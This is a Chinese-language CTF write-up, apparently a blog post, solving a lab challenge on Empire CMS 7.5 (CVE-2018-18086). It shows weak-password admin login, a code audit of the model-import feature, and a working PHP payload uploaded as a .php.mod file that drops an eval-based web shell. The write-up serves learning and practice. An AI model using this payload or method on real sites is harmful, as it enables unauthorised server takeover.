最近闲来无事,看到青少年CTF平台,感觉对新手还是比较友好的!于是便再次开启了刷题之路,几乎不曾复现过漏洞的我,看到了一系列的帝国/骑士CMS的漏洞复现题目
青少年CTF平台:https://www.qsnctf.com/challenges
帝国CMS01(CVE-2018-18086)
![](https://img-blog.csdnimg.cn/img_convert/c36496708fd5564003a83b351ffcbc7d.png)
首页如上,在题目的链接处,有hint!我们先不看;先看看网页的最先面是否存在提示:
![](https://img-blog.csdnimg.cn/img_convert/5706b6451dbca6c60bddf7ebe885b606.png)
我们可以知道该网站应用的是帝国CMS7.5的版本;百度搜了一波帝国CMS存在那些漏洞,发现漏洞有点多啊!找了相关资料,找到了后台的登陆界面/e/admin/index.php
![](https://img-blog.csdnimg.cn/img_convert/f6cf59ee3a23a20af2eafb3da15806fd.png)
之后刚要尝试注入,发现界面的最下方提示:获取flag的思路并不在这里,也就是说可能不存在注入,因此就先测试注入了,试一下弱口令
root root
admin admin
admin 123456(这个成功登录到了网站管理后台!)
(其实hint说了,扫描目录试一下嘛!)
![](https://img-blog.csdnimg.cn/img_convert/b64c9da9c581e0fe68172139ceda885f.png)
发现泄露了源码;
这里存在的漏洞为后台Getshell;
拿到源码之后,我们进行对应的代码审计:在/e/admin/ecmsmod.php文件中:
//导入模型
elseif($enews=="LoadInMod")
{
$file=$_FILES['file']['tmp_name'];
$file_name=$_FILES['file']['name'];
$file_type=$_FILES['file']['type'];
$file_size=$_FILES['file']['size'];
LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}
跟进LoadInMod方法:(来到/e/admin/moddofun.php文件)
![](https://img-blog.csdnimg.cn/img_convert/07dbfc9808cb930accb1732d8809a966.png)
虽然限制了文件的后缀名为".mod"
同时对文件名进行了相关的加密,无法猜测文件名
但是最终通过include包含了这个文件,换句话说就是把里面的代码当作php进行执行
最终我们可以直接上传一个文件名为xx.php.mod的文件,里面是我们要执行的php代码:
<?php file_put_contents("shell.php","<?php eval(\$_POST[1])?>");?>
![](https://img-blog.csdnimg.cn/img_convert/4307bade1fac30dc40def26226254586.png)
![](https://img-blog.csdnimg.cn/img_convert/3eb7fead344f6a72ea53975074515c52.png)
上传成功之后,我们访问/e/admin/shell.php即可执行我们的一句话木马;
![](https://img-blog.csdnimg.cn/img_convert/313ea4e95fa367dfd251ba0fbb122bc5.png)
成功getshell,之所以shell.php文件会在/e/admin/目录下生成,是因为我们最开始上传的时候,就是在/e/admin/目录下,因此生成的shell.php也在这个目录下面。之后拿flag(根目录下)